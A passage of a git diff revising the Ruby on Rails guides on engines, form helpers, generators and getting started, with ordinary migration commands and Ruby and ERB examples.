engine and the application. There needs to be a way of associating the records in the +blorgh_posts+ table with the records in the +users+ table. Because the association is called +author+, there should be an +author_id+ column added to the +blorgh_posts+ table. + +To generate this new column, run this command within the engine: + +<shell> +$ rails g migration add_author_id_to_blorgh_posts author_id:integer +</shell> + +NOTE: Due to the migration's name and the column specification after it, Rails will automatically know that you want to add a column to a specific table and write that into the migration for you. You don't need to tell it any more than this. + +This migration will need to be run on the application. To do that, it must first be copied using this command: + +<shell> +$ rake blorgh:install:migrations +</shell> + +Notice here that only _one_ migration was copied over here. This is because the first two migrations were copied over the first time this command was run. + +<shell> + NOTE: Migration [timestamp]_create_blorgh_posts.rb from blorgh has been skipped. Migration with the same name already exists. + NOTE: Migration [timestamp]_create_blorgh_comments.rb from blorgh has been skipped. Migration with the same name already exists. + Copied migration [timestamp]_add_author_id_to_blorgh_posts.rb from blorgh +</shell> + +Run this migration using this command: + +<shell> +$ rake db:migrate +</shell> + +Now with all the pieces in place, an action will take place that will associate an author -- represented by a record in the +users+ table -- with a post, represented by the +blorgh_posts+ table from the engine. + +Finally, the author's name should be displayed on the post's page. Add this code above the "Title" output inside +app/views/blorgh/posts/show.html.erb+: + +<erb> +<p> + <b>Author:</b> + <%= @post.author %> +</p> +</erb> + +WARNING: For posts created previously, this will break the +show+ page for them. We recommend deleting these posts and starting again, or manually assigning an author using +rails c+. + +By outputting +@post.author+ using the +<%=+ tag the +to_s+ method will be called on the object. By default, this will look quite ugly: + +<text> +#<User:0x00000100ccb3b0> +</text> + +This is undesirable and it would be much better to have the user's name there. To do this, add a +to_s+ method to the +User+ class within the application: + +<ruby> +def to_s + name +end +</ruby> + +Now instead of the ugly Ruby object output the author's name will be displayed. + +h4. Configuring an engine + +The next step is to make the class that represents a +User+ in the application customizable for the engine. This is because, as explained before, that class may not always be +User+. To make this customizable, the engine will have a configuration setting called +user_class+ that will be used to specify what the class representing users is inside the application. + +To define this configuration setting, you should use a +mattr_accessor+ inside the +Blorgh+ module for the engine, located at +lib/blorgh.rb+ inside the engine. Inside this module, put this line: + +<ruby> +mattr_accessor :user_class +</ruby> + +This method works like its brothers +attr_accessor+ and +cattr_accessor+, but provides a setter and getter method on the module with the specified name. To use it, it must be referenced using +Blorgh.user_class+. + +The next step is switching the +Blorgh::Post+ model over to this new setting. For the +belongs_to+ association inside this model (+app/models/blorgh/post.rb+), it will now become this: + +<ruby> +belongs_to :author, :class_name => Blorgh.user_class +</ruby> + +The +set_author+ method also located in this class should also use this class: + +<ruby> +self.author = Blorgh.user_class.constantize.find_or_create_by_name(author_name) +</ruby> + +To set this configuration setting within the application, an initializer should be used. By using an initializer, the configuration will be set up before the application starts and makes references to the classes of the engine which may depend on this configuration setting existing. + +Create a new initializer at +config/initializers/blorgh.rb+ inside the application where the +blorgh+ engine is installed and put this content in it: + +<ruby> +Blorgh.user_class = "User" +</ruby> + +WARNING: It's very important here to use the +String+ version of the class, rather than the class itself. If you were to use the class, Rails would attempt to load that class and then reference the related table, which could lead to problems if the table wasn't already existing. Therefore, a +String+ should be used and then converted to a class using +constantize+ in the engine later on. + +Go ahead and try to create a new post. You will see that it works exactly in the same way as before, except this time the engine is using the configuration setting in +config/initializers/blorgh.rb+ to learn what the class is. + +There are now no strict dependencies on what the class is, only what the class's API must be. The engine simply requires this class to define a +find_or_create_by_name+ method which returns an object of that class to be associated with a post when it's created. + +h3. Extending engine functionality + +This section looks at overriding or adding functionality to the views, controllers and models provided by an engine. + +h4. Overriding views + +When Rails looks for a view to render, it will first look in the +app/views+ directory of the application. If it cannot find the view there, then it will check in the +app/views+ directories of all engines which have this directory. + +In the +blorgh+ engine, there is a currently a file at +app/views/blorgh/posts/index.html.erb+. When the engine is asked to render the view for +Blorgh::PostsController+'s +index+ action, it will first see if it can find it at +app/views/blorgh/posts/index.html.erb+ within the application and then if it cannot it will look inside the engine. + +By overriding this view in the application, by simply creating a new file at +app/views/blorgh/posts/index.html.erb+, you can completely change what this view would normally output. + +Try this now by creating a new file at +app/views/blorgh/posts/index.html.erb+ and put this content in it: + +<erb> +<h1>Posts</h1> +<%= link_to "New Post", new_post_path %> +<% @posts.each do |post| %> + <h2><%= post.title %></h2> + <small>By <%= post.author %></small> + <%= simple_format(post.text) %> + <hr> +<% end %> +</erb> + +Rather than looking like the default scaffold, the page will now look like this: + +!images/engines_post_override.png(Engine scaffold overriden)! + +h4. Controllers + +TODO: Explain how to extend a controller. +IDEA: I like Devise's +devise :controllers => { "sessions" => "sessions" }+ idea. Perhaps we could incorporate that into the guide? + +h4. Models + +TODO: Explain how to extend models provided by an engine. + +h4. Routes + +Within the application, you may wish to link to some area within the engine. Due to the fact that the engine's routes are isolated (by the +isolate_namespace+ call within the +lib/blorgh/engine.rb+ file), you will need to prefix these routes with the engine name. This means rather than having something such as: + +<erb> +<%= link_to "Blog posts", posts_path %> +</erb> + +It needs to be written as: + +<erb> +<%= link_to "Blog posts", blorgh.posts_path %> +</erb> + +This allows for the engine _and_ the application to both have a +posts_path+ routing helper and to not interfere with each other. You may also reference another engine's routes from inside an engine using this same syntax. + +If you wish to reference the application inside the engine in a similar way, use the +main_app+ helper: + +<erb> +<%= link_to "Home", main_app.root_path %> +</erb> + +TODO: Mention how to use assets within an engine? +TODO: Mention how to depend on external gems, like RedCarpet. diff --git a/railties/guides/source/form_helpers.textile b/railties/guides/source/form_helpers.textile index a63245acec..821bb305f6 100644 --- a/railties/guides/source/form_helpers.textile +++ b/railties/guides/source/form_helpers.textile @@ -27,9 +27,7 @@ The most basic form helper is +form_tag+. <% end %> </erb> -When called without arguments like this, it creates a form element that has the current page as its action and "post" as its method (some line breaks added for readability): - -Sample output from +form_tag+: +When called without arguments like this, it creates a +<form>+ tag which, when submitted, will POST to the current page. For instance, assuming the current page is +/home/index+, the generated HTML will look like this (some line breaks added for readability): <html> <form accept-charset="UTF-8" action="/home/index" method="post"> @@ -41,36 +39,30 @@ Sample output from +form_tag+: </form> </html> -If you carefully observe this output, you can see that the helper generated something you didn't specify: a +div+ element with two hidden input elements inside. The first input element with name +utf8+ enforces browsers to properly respect your form's character encoding and is generated for all forms whether action is "get" or "post". Second input element with name +authenticity_token+ is a security feature of Rails called *cross-site request forgery protection* and form helpers generate it for every form whose action is not "get" (provided that this security feature is enabled). You can read more about this in the "Ruby On Rails Security Guide":./security.html#_cross_site_reference_forgery_csrf. +Now, you'll notice that the HTML contains something extra: a +div+ element with two hidden input elements inside. This div is important, because the form cannot be successfully submitted without it. The first input element with name +utf8+ enforces browsers to properly respect your form's character encoding and is generated for all forms whether their actions are "GET" or "POST". The second input element with name +authenticity_token+ is a security feature of Rails called *cross-site request forgery protection*, and form helpers generate it for every non-GET form (provided that this security feature is enabled). You can read more about this in the "Security Guide":./security.html#_cross_site_reference_forgery_csrf. -NOTE: Throughout this guide, this +div+ with the hidden input elements will be stripped away to have clearer code samples. +NOTE: Throughout this guide, the +div+ with the hidden input elements will be excluded from code samples for brevity. h4. A Generic Search Form -Probably the most minimal form often seen on the web is a search form with a single text input for search terms. This form consists of: +One of the most basic forms you see on the web is a search form. This form contains: # a form element with "GET" method, # a label for the input, # a text input element, and # a submit element. -IMPORTANT: Always use "GET" as the method for search forms. This allows users to bookmark a specific search and get back to it. More generally Rails encourages you to use the right HTTP verb for an action. - -To create this form you will use +form_tag+, +label_tag+, +text_field_tag+, and +submit_tag+, respectively. - -A basic search form +To create this form you will use +form_tag+, +label_tag+, +text_field_tag+, and +submit_tag+, respectively. Like this: <erb> -<%= form_tag(search_path, :method => "get") do %> +<%= form_tag("/search", :method => "get") do %> <%= label_tag(:q, "Search for:") %> <%= text_field_tag(:q) %> <%= submit_tag("Search") %> <% end %> </erb> -TIP: +search_path+ can be a named route specified in "routes.rb" as: <br /><code>match "search" => "search"</code> This declares that path "/search" will be handled by action "search" belonging to controller "search". - -The above view code will result in the following markup: +This will generate the following HTML: <html> <form accept-charset="UTF-8" action="/search" method="get"> @@ -80,47 +72,35 @@ The above view code will result in the following markup: </form> </html> +TIP: For every form input, an ID attribute is generated from its name ("q" in the example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript. + Besides +text_field_tag+ and +submit_tag+, there is a similar helper for _every_ form control in HTML. -TIP: For every form input, an ID attribute is generated from its name ("q" in the example). These IDs can be very useful for CSS styling or manipulation of form controls with JavaScript. +IMPORTANT: Always use "GET" as the method for search forms. This allows users to bookmark a specific search and get back to it. More generally Rails encourages you to use the right HTTP verb for an action. h4. Multiple Hashes in Form Helper Calls -By now you've seen that the +form_tag+ helper accepts 2 arguments: the path for the action and an options hash. This hash specifies the method of form submission and HTML options such as the form element's class. +The +form_tag+ helper accepts 2 arguments: the path for the action and an options hash. This hash specifies the method of form submission and HTML options such as the form element's class. -As with the +link_to+ helper, the path argument doesn't have to be given a string. It can be a hash of URL parameters that Rails' routing mechanism will turn into a valid URL. However, this is a bad way to pass multiple hashes as method arguments: +As with the +link_to+ helper, the path argument doesn't have to be given a string; it can be a hash of URL parameters recognizable by Rails' routing mechanism, which will turn the hash into a valid URL. However, since both arguments to +form_tag+ are hashes, you can easily run into a problem if you would like to specify both. For instance, let's say you write this: <ruby> form_tag(:controller => "people", :action => "search", :method => "get", :class => "nifty_form") -# => <form accept-charset="UTF-8" action="/people/search?method=get&class=nifty_form" method="post"> +# => '<form accept-charset="UTF-8" action="/people/search?method=get&class=nifty_form" method="post">' </ruby> -Here you wanted to pass two hashes, but the Ruby interpreter sees only one hash, so Rails will construct a URL with extraneous parameters. The correct way of passing multiple hashes as arguments is to delimit the first hash (or both hashes) with curly brackets: +Here, +method+ and +class+ are appended to the query string of the generated URL because you even though you mean to write two hashes, you really only specified one. So you need to tell Ruby which is which by delimiting the first hash (or both) with curly brackets. This will generate the HTML you expect: <ruby> form_tag({:controller => "people", :action => "search"}, :method => "get", :class => "nifty_form") -# => <form accept-charset="UTF-8" action="/people/search" method="get" class="nifty_form"> +# => '<form accept-charset="UTF-8" action="/people/search" method="get" class="nifty_form">' </ruby> -This is a common pitfall when using form helpers, since many of them accept multiple hashes. So in future, if a helper produces unexpected output, make sure that you have delimited the hash parameters properly. - -WARNING: Do not delimit the second hash without doing so with the first hash, otherwise your method invocation will result in an +expecting tASSOC+ syntax error. - h4. Helpers for Generating Form Elements -Rails provides a series of helpers for generating form elements such as checkboxes, text fields and radio buttons. These basic helpers, with names ending in <notextile>_tag</notextile> such as +text_field_tag+ and +check_box_tag+ generate just a single +<input>+ element. The first parameter to these is always the name of the input. In the controller this name will be the key in the +params+ hash used to get the value entered by the user. For example, if the form contains - -<erb> -<%= text_field_tag(:query) %> -</erb> +Rails provides a series of helpers for generating form elements such as checkboxes, text fields, and radio buttons. These basic helpers, with names ending in "_tag" (such as +text_field_tag+ and +check_box_tag+), generate just a single +<input>+ element. The first parameter to these is always the name of the input. When the form is submitted, the name will be passed along with the form data, and will make its way to the +params+ hash in the controller with the value entered by the user for that field. For example, if the form contains +<%= text_field_tag(:query) %>+, then you would be able to get the value of this field in the controller with +params[:query]+. -then the controller code should use - -<ruby> -params[:query] -</ruby> - -to retrieve the value entered by the user. When naming inputs, be aware that Rails uses certain conventions that control whether values are at the top level of the +params+ hash, inside an array or a nested hash and so on. You can read more about them in the parameter_names section. For details on the precise usage of these helpers, please refer to the "API documentation":http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html. +When naming inputs, Rails uses certain conventions that make it possible to submit parameters with non-scalar values such as arrays or hashes, which will also be accessible in +params+. You can read more about them in "chapter 7 of this guide":#understanding-parameter-naming-conventions. For details on the precise usage of these helpers, please refer to the "API documentation":http://api.rubyonrails.org/classes/ActionView/Helpers/FormTagHelper.html. h5. Checkboxes @@ -133,7 +113,7 @@ Checkboxes are form controls that give the user a set of options they can enable <%= label_tag(:pet_cat, "I own a cat") %> </erb> -output: +This generates the following: <html> <input id="pet_dog" name="pet_dog" type="checkbox" value="1" /> @@ -142,11 +122,11 @@ output: <label for="pet_cat">I own a cat</label> </html> -The second parameter to +check_box_tag+ is the value of the input. This is the value that will be submitted by the browser if the checkbox is ticked (i.e. the value that will be present in the +params+ hash). With the above form you would check the value of +params[:pet_dog]+ and +params[:pet_cat]+ to see which pets the user owns. +The first parameter to +check_box_tag+, of course, is the name of the input. The second parameter, naturally, is the value of the input. This value will be included in the form data (and be present in +params+) when the checkbox is checked. h5. Radio Buttons -Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (i.e. the user can only pick one): +Radio buttons, while similar to checkboxes, are controls that specify a set of options in which they are mutually exclusive (i.e., the user can only pick one): <erb> <%= radio_button_tag(:age, "child") %> @@ -155,7 +135,7 @@ Radio buttons, while similar to checkboxes, are controls that specify a set of o <%= label_tag(:age_adult, "I'm over 21") %> </erb> -output: +Output: <html> <input id="age_child" name="age" type="radio" value="child" /> @@ -164,32 +144,41 @@ output: <label for="age_adult">I'm over 21</label> </html> -As with +check_box_tag+ the second parameter to +radio_button_tag+ is the value of the input. Because these two radio buttons share the same name (age) the user will only be able to select one and +params[:age]+ will contain either "child" or "adult". +As with +check_box_tag+, the second parameter to +radio_button_tag+ is the value of the input. Because these two radio buttons share the same name (age) the user will only be able to select one, and +params[:age]+ will contain either "child" or "adult". -IMPORTANT: Always use labels for each checkbox and radio button. They associate text with a specific option and provide a larger clickable region. +NOTE: Always use labels for checkbox and radio buttons. They associate text with a specific option and make it easier for users to click the inputs by expanding the clickable region. h4. Other Helpers of Interest -Other form controls worth mentioning are the text area, password input and hidden input: +Other form controls worth mentioning are textareas, password fields, hidden fields, search fields, telephone fields, URL fields and email fields: <erb> <%= text_area_tag(:message, "Hi, nice site", :size => "24x6") %> <%= password_field_tag(:password) %> <%= hidden_field_tag(:parent_id, "5") %> +<%= search_field(:user, :name) %> +<%= telephone_field(:user, :phone) %> +<%= url_field(:user, :homepage) %> +<%= email_field(:user, :address) %> </erb> -output: +Output: <html> <textarea id="message" name="message" cols="24" rows="6">Hi, nice site</textarea> <input id="password" name="password" type="password" /> <input id="parent_id" name="parent_id" type="hidden" value="5" /> +<input id="user_name" name="user[name]" size="30" type="search" /> +<input id="user_phone" name="user[phone]" size="30" type="tel" /> +<input id="user_homepage" size="30" name="user[homepage]" type="url" /> +<input id="user_address" size="30" name="user[address]" type="email" /> </html> -Hidden inputs are not shown to the user, but they hold data like any textual input. Values inside them can be changed with JavaScript. +Hidden inputs are not shown to the user but instead hold data like any textual input. Values inside them can be changed with JavaScript. -TIP: If you're using password input fields (for any purpose), you might want to configure your application to prevent those parameters from being logged. +IMPORTANT: The search, telephone, URL, and email inputs are HTML5 controls. If you require your app to have a consistent experience in older browsers, you will need an HTML5 polyfill (provided by CSS and/or JavaScript). There is definitely "no shortage of solutions for this":https://github.com/Modernizr/Modernizr/wiki/HTML5-Cross-Browser-Polyfills, although a couple of popular tools at the moment are "Modernizr":http://www.modernizr.com/ and "yepnope":http://yepnopejs.com/, which provide a simple way to add functionality based on the presence of detected HTML5 features. +TIP: If you're using password input fields (for any purpose), you might want to configure your application to prevent those parameters from being logged. You can learn about this in the "Security Guide":security.html#logging. h3. Dealing with Model Objects @@ -353,7 +342,6 @@ output: When parsing POSTed data, Rails will take into account the special +_method+ parameter and acts as if the HTTP method was the one specified inside it ("PUT" in this example). - h3. Making Select Boxes with Ease Select boxes in HTML require a significant amount of markup (one +OPTION+ element for each option to choose from), therefore it makes the most sense for them to be dynamically generated. @@ -545,7 +533,7 @@ NOTE: In many cases the built-in date pickers are clumsy as they do not aid the h4. Individual Components -Occasionally you need to display just a single date component such as a year or a month. Rails provides a series of helpers for this, one for each component +select_year+, +select_month+, +select_day+, +select_hour+, +select_minute+, +select_second+. These helpers are fairly straightforward. By default they will generate an input field named after the time component (for example "year" for +select_year+, "month" for +select_month+ etc.) although this can be overriden with the +:field_name+ option. The +:prefix+ option works in the same way that it does for +select_date+ and +select_time+ and has the same default value. +Occasionally you need to display just a single date component such as a year or a month. Rails provides a series of helpers for this, one for each component +select_year+, +select_month+, +select_day+, +select_hour+, +select_minute+, +select_second+. These helpers are fairly straightforward. By default they will generate an input field named after the time component (for example "year" for +select_year+, "month" for +select_month+ etc.) although this can be overridden with the +:field_name+ option. The +:prefix+ option works in the same way that it does for +select_date+ and +select_time+ and has the same default value. The first parameter specifies which value should be selected and can either be an instance of a Date, Time or DateTime, in which case the relevant component will be extracted, or a numerical value. For example @@ -589,7 +577,7 @@ def upload end </ruby> -Once a file has been uploaded, there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several plugins designed to assist with these. Two of the better known ones are "Attachment-Fu":https://github.com/technoweenie/attachment_fu and "Paperclip":http://www.thoughtbot.com/projects/paperclip. +Once a file has been uploaded, there are a multitude of potential tasks, ranging from where to store the files (on disk, Amazon S3, etc) and associating them with models to resizing image files and generating thumbnails. The intricacies of this are beyond the scope of this guide, but there are several libraries designed to assist with these. Two of the better known ones are "CarrierWave":https://github.com/jnicklas/carrierwave and "Paperclip":http://www.thoughtbot.com/projects/paperclip. NOTE: If the user has not selected a file the corresponding parameter will be an empty string. @@ -712,7 +700,7 @@ You might want to render a form with a set of edit fields for each of a person's <erb> <%= form_for @person do |person_form| %> <%= person_form.text_field :name %> - <% for address in @person.addresses %> + <% @person.addresses.each do |address| %> <%= person_form.fields_for address, :index => address do |address_form|%> <%= address_form.text_field :city %> <% end %> @@ -777,7 +765,7 @@ If you need to post some data to an external resource it is still great to build Sometimes when you submit data to an external resource, like payment gateway, fields you can use in your form are limited by an external API. So you may want not to generate an +authenticity_token+ hidden field at all. For doing this just pass +false+ to the +:authenticity_token+ option: <erb> -<%= form_tag 'http://farfar.away/form', :authenticity_token => 'external_token') do %> +<%= form_tag 'http://farfar.away/form', :authenticity_token => false) do %> Form contents <% end %> </erb> @@ -808,13 +796,3 @@ Many apps grow beyond simple forms editing a single object. For example when cre * Eloy Duran's "complex-forms-examples":https://github.com/alloy/complex-form-examples/ application * Lance Ivy's "nested_assignment":https://github.com/cainlevy/nested_assignment/tree/master plugin and "sample application":https://github.com/cainlevy/complex-form-examples/tree/cainlevy * James Golick's "attribute_fu":https://github.com/jamesgolick/attribute_fu plugin - -h3. Changelog - -* February 5, 2011: Added 'Forms to external resources' section. Timothy N. Tsvetkov <timothy.tsvetkov@gmail.com> -* April 6, 2010: Fixed document to validate XHTML 1.0 Strict. "Jaime Iniesta":http://jaimeiniesta.com - -h3. Authors - -* Mislav Marohnić <mislav.marohnic@gmail.com> -* "Frederick Cheung":credits.html#fcheung diff --git a/railties/guides/source/generators.textile b/railties/guides/source/generators.textile index a3181b9ac5..7a863ccbc7 100644 --- a/railties/guides/source/generators.textile +++ b/railties/guides/source/generators.textile @@ -46,7 +46,7 @@ class InitializerGenerator < Rails::Generators::Base end </ruby> -NOTE: +create_file+ is a method provided by +Thor::Actions+ and the documentation for it and its brethren can be found at "rdoc.info":http://rdoc.info/github/wycats/thor/master/Thor/Actions. +NOTE: +create_file+ is a method provided by +Thor::Actions+. Documentation for +create_file+ and other Thor methods can be found in "Thor's documentation":http://rdoc.info/github/wycats/thor/master/Thor/Actions.html Our new generator is quite simple: it inherits from +Rails::Generators::Base+ and has one method definition. Each public method in the generator is executed when a generator is invoked. Finally, we invoke the +create_file+ method that will create a file at the given destination with the given content. If you are familiar with the Rails Application Templates API, you'll feel right at home with the new generators API. @@ -131,7 +131,7 @@ And let's execute our generator: $ rails generate initializer core_extensions </shell> -We can see that now a initializer named core_extensions was created at +config/initializers/core_extensions.rb+ with the contents of our template. That means that +copy_file+ copied a file in our source root to the destination path we gave. The method +file_name+ is automatically created when we inherit from +Rails::Generators::NamedBase+. +We can see that now an initializer named core_extensions was created at +config/initializers/core_extensions.rb+ with the contents of our template. That means that +copy_file+ copied a file in our source root to the destination path we gave. The method +file_name+ is automatically created when we inherit from +Rails::Generators::NamedBase+. The methods that are available for generators are covered in the "final section":#generator-methods of this guide. @@ -365,7 +365,7 @@ $ rails generate scaffold Comment body:text Fallbacks allow your generators to have a single responsibility, increasing code reuse and reducing the amount of duplication. -h3. Application templates +h3. Application Templates Now that you've seen how generators can be used _inside_ an application, did you know they can also be used to _generate_ applications too? This kind of generator is referred as a "template". @@ -449,6 +449,15 @@ The above code will put the following line into +Gemfile+: gem "devise", :git => "git://github.com/plataformatec/devise", :branch => "master" </ruby> +h4. +gem_group+ + +Wraps gem entries inside a group: + +<ruby> +gem_group :development, :test do + gem "rspec-rails" +end +</ruby> h4. +add_source+ @@ -610,14 +619,3 @@ Output the contents of a file in the template's +source_path+, usually a README. <ruby> readme("README") </ruby> - -h3. Changelog - -* December 1, 2010: Documenting the available methods and options for generators and templates by "Ryan Bigg":http://ryanbigg.com -* December 1, 2010: Addition of Rails application templates by "Ryan Bigg":http://ryanbigg.com - -* August 23, 2010: Edit pass by "Xavier Noria":credits.html#fxn - -* April 30, 2010: Reviewed by José Valim - -* November 20, 2009: First version by José Valim diff --git a/railties/guides/source/getting_started.textile b/railties/guides/source/getting_started.textile index 1c66115d44..bf6104b96b 100644 --- a/railties/guides/source/getting_started.textile +++ b/railties/guides/source/getting_started.textile @@ -1,48 +1,77 @@ h2. Getting Started with Rails -This guide covers getting up and running with Ruby on Rails. After reading it, you should be familiar with: +This guide covers getting up and running with Ruby on Rails. After reading it, +you should be familiar with: * Installing Rails, creating a new Rails application, and connecting your application to a database * The general layout of a Rails application * The basic principles of MVC (Model, View Controller) and RESTful design -* How to quickly generate the starting pieces of a Rails application. +* How to quickly generate the starting pieces of a Rails application endprologue. -WARNING. This Guide is based on Rails 3.0. Some of the code shown here will not work in earlier versions of Rails. +WARNING. This Guide is based on Rails 3.1. Some of the code shown here will not +work in earlier versions of Rails. h3. Guide Assumptions -This guide is designed for beginners who want to get started with a Rails application from scratch. It does not assume that you have any prior experience with Rails. However, to get the most out of it, you need to have some prerequisites installed: +This guide is designed for beginners who want to get started with a Rails +application from scratch. It does not assume that you have any prior experience +with Rails. However, to get the most out of it, you need to have some +prerequisites installed: * The "Ruby":http://www.ruby-lang.org/en/downloads language version 1.8.7 or higher -TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails 3.0. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults on Rails 3.0, so if you want to use Rails 3 with 1.9.x jump on 1.9.2 for smooth sailing. +TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails +3.0. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02 +though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults +on Rails 3.0, so if you want to use Rails 3 with 1.9.x jump on 1.9.2 for smooth +sailing. * The "RubyGems":http://rubyforge.org/frs/?group_id=126 packaging system + ** If you want to learn more about RubyGems, please read the "RubyGems User Guide":http://docs.rubygems.org/read/book/1 * A working installation of the "SQLite3 Database":http://www.sqlite.org -Rails is a web application framework running on the Ruby programming language. If you have no prior experience with Ruby, you will find a very steep learning curve diving straight into Rails. There are some good free resources on the internet for learning Ruby, including: +Rails is a web application framework running on the Ruby programming language. +If you have no prior experience with Ruby, you will find a very steep learning +curve diving straight into Rails. There are some good free resources on the +internet for learning Ruby, including: * "Mr. Neighborly's Humble Little Ruby Book":http://www.humblelittlerubybook.com * "Programming Ruby":http://www.ruby-doc.org/docs/ProgrammingRuby/ * "Why's (Poignant) Guide to Ruby":http://mislav.uniqpath.com/poignant-guide/ +Also, the example code for this guide is available in the rails github:https://github.com/rails/rails repository +in rails/railties/guides/code/getting_started. + h3. What is Rails? -Rails is a web application development framework written in the Ruby language. It is designed to make programming web applications easier by making assumptions about what every developer needs to get started. It allows you to write less code while accomplishing more than many other languages and frameworks. Experienced Rails developers also report that it makes web application development more fun. +Rails is a web application development framework written in the Ruby language. +It is designed to make programming web applications easier by making assumptions +about what every developer needs to get started. It allows you to write less +code while accomplishing more than many other languages and frameworks. +Experienced Rails developers also report that it makes web application +development more fun. -Rails is opinionated software. It makes the assumption that there is a "best" way to do things, and it's designed to encourage that way - and in some cases to discourage alternatives. If you learn "The Rails Way" you'll probably discover a tremendous increase in productivity. If you persist in bringing old habits from other languages to your Rails development, and trying to use patterns you learned elsewhere, you may have a less happy experience. +Rails is opinionated software. It makes the assumption that there is a "best" +way to do things, and it's designed to encourage that way - and in some cases to +discourage alternatives. If you learn "The Rails Way" you'll probably discover a +tremendous increase in productivity. If you persist in bringing old habits from +other languages to your Rails development, and trying to use patterns you +learned elsewhere, you may have a less happy experience. The Rails philosophy includes several guiding principles: * DRY - "Don't Repeat Yourself" - suggests that writing the same code over and over again is a bad thing. -* Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you're going to do it, rather than requiring you to specify every little thing through endless configuration files. -* REST is the best pattern for web applications - organizing your application around resources and standard HTTP verbs is the fastest way to go. +* Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you're going to +do it, rather than requiring you to specify every little thing through endless configuration files. +* REST is the best pattern for web applications - organizing your application around resources and standard HTTP verbs +is the fastest way to go. h4. The MVC Architecture -At the core of Rails is the Model, View, Controller architecture, usually just called MVC. MVC benefits include: +At the core of Rails is the Model, View, Controller architecture, usually just +called MVC. MVC benefits include: * Isolation of business logic from the user interface * Ease of keeping code DRY @@ -50,19 +79,34 @@ At the core of Rails is the Model, View, Controller architecture, usually just c h5. Models -A model represents the information (data) of the application and the rules to manipulate that data. In the case of Rails, models are primarily used for managing the rules of interaction with a corresponding database table. In most cases, one table in your database will correspond to one model in your application. The bulk of your application's business logic will be concentrated in the models. +A model represents the information (data) of the application and the rules to +manipulate that data. In the case of Rails, models are primarily used for +managing the rules of interaction with a corresponding database table. In most +cases, each table in your database will correspond to one model in your +application. The bulk of your application's business logic will be concentrated +in the models. h5. Views -Views represent the user interface of your application. In Rails, views are often HTML files with embedded Ruby code that perform tasks related solely to the presentation of the data. Views handle the job of providing data to the web browser or other tool that is used to make requests from your application. +Views represent the user interface of your application. In Rails, views are +often HTML files with embedded Ruby code that perform tasks related solely to +the presentation of the data. Views handle the job of providing data to the web +browser or other tool that is used to make requests from your application. h5. Controllers -Controllers provide the "glue" between models and views. In Rails, controllers are responsible for processing the incoming requests from the web browser, interrogating the models for data, and passing that data on to the views for presentation. +Controllers provide the "glue" between models and views. In Rails, controllers +are responsible for processing the incoming requests from the web browser, +interrogating the models for data, and passing that data on to the views for +presentation. h4. The Components of Rails -Rails ships as many individual components. +Rails ships as many individual components. Each of these components are briefly +explained below. If you are new to Rails, as you read this section, don't get +hung up on the details of each component, as they will be explained in further +detail later. For instance, we will bring up Rack applications, but you don't +need to know anything about them to continue with this guide. * Action Pack ** Action Controller @@ -75,70 +119,107 @@ Rails ships as many individual components. * Active Support * Railties - h5. Action Pack -Action Pack is a single gem that contains Action Controller, Action View and Action Dispatch. The "VC" part of "MVC". +Action Pack is a single gem that contains Action Controller, Action View and +Action Dispatch. The "VC" part of "MVC". -h5. Action Controller +h6. Action Controller -Action Controller is the component that manages the controllers in a Rails application. The Action Controller framework processes incoming requests to a Rails application, extracts parameters, and dispatches them to the intended action. Services provided by Action Controller include session management, template rendering, and redirect management. +Action Controller is the component that manages the controllers in a Rails +application. The Action Controller framework processes incoming requests to a +Rails application, extracts parameters, and dispatches them to the intended +action. Services provided by Action Controller include session management, +template rendering, and redirect management. -h5. Action View +h6. Action View -Action View manages the views of your Rails application. It can create both HTML and XML output by default. Action View manages rendering templates, including nested and partial templates, and includes built-in AJAX support. +Action View manages the views of your Rails application. It can create both HTML +and XML output by default. Action View manages rendering templates, including +nested and partial templates, and includes built-in AJAX support. View +templates are covered in more detail in another guide called "Layouts and +Rendering":layouts_and_rendering.html. -h5. Action Dispatch +h6. Action Dispatch -Action Dispatch handles routing of web requests and dispatches them as you want, either to your application or any other Rack application. +Action Dispatch handles routing of web requests and dispatches them as you want, +either to your application or any other Rack application. Rack applications are +a more advanced topic and are covered in a separate guide called "Rails on +Rack":rails_on_rack.html. h5. Action Mailer -Action Mailer is a framework for building e-mail services. You can use Action Mailer to receive and process incoming email and send simple plain text or complex multipart emails based on flexible templates. +Action Mailer is a framework for building e-mail services. You can use Action +Mailer to receive and process incoming email and send simple plain text or +complex multipart emails based on flexible templates. h5. Active Model -Active Model provides a defined interface between the Action Pack gem services and Object Relationship Mapping gems such as Active Record. Active Model allows Rails to utilize other ORM frameworks in place of Active Record if your application needs this. +Active Model provides a defined interface between the Action Pack gem services +and Object Relationship Mapping gems such as Active Record. Active Model allows +Rails to utilize other ORM frameworks in place of Active Record if your +application needs this. h5. Active Record -Active Record is the base for the models in a Rails application. It provides database independence, basic CRUD functionality, advanced finding capabilities, and the ability to relate models to one another, among other services. +Active Record is the base for the models in a Rails application. It provides +database independence, basic CRUD functionality, advanced finding capabilities, +and the ability to relate models to one another, among other services. h5. Active Resource -Active Resource provides a framework for managing the connection between business objects and RESTful web services. It implements a way to map web-based resources to local objects with CRUD semantics. +Active Resource provides a framework for managing the connection between +business objects and RESTful web services. It implements a way to map web-based +resources to local objects with CRUD semantics. h5. Active Support -Active Support is an extensive collection of utility classes and standard Ruby library extensions that are used in Rails, both by the core code and by your applications. +Active Support is an extensive collection of utility classes and standard Ruby +library extensions that are used in Rails, both by the core code and by your +applications. h5. Railties -Railties is the core Rails code that builds new Rails applications and glues the various frameworks and plugins together in any Rails application. +Railties is the core Rails code that builds new Rails applications and glues the +various frameworks and plugins together in any Rails application. h4. REST -Rest stands for Representational State Transfer and is the foundation of the RESTful architecture. This is generally considered to be Roy Fielding's doctoral thesis, "Architectural Styles and the Design of Network-based Software Architectures":http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm. While you can read through the thesis, 